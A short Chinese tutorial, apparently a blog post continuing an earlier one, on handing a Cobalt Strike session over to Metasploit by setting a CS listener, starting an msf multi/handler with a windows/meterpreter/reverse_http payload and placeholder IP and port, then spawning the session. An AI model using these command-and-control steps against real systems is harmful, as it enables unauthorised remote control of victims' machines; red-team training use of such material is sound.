上文写到了msf派生shell到cs

然后这篇写一下如何把cs获取的shell派生到msf上的操作

cs上线操作不再演示了

cs设置一个监听。

设置方法跟上文一样

然后msf开启监听。

上图设置为http方式，所以只要注意在msf开启监听的时候设置为http即可，其他也没什么问题点。

然后payload

use exploit/multi/handler

set payload windows/meterpreter/reverse_http

set lhost xx.xx.xx.xx(cs的ip地址)

set lport xxxx(设置与cs监听相同的端口)

run

然后我们在cs上直接spawn即可

然后选择设置的监听

然后我们发现msf上已经成功获取shell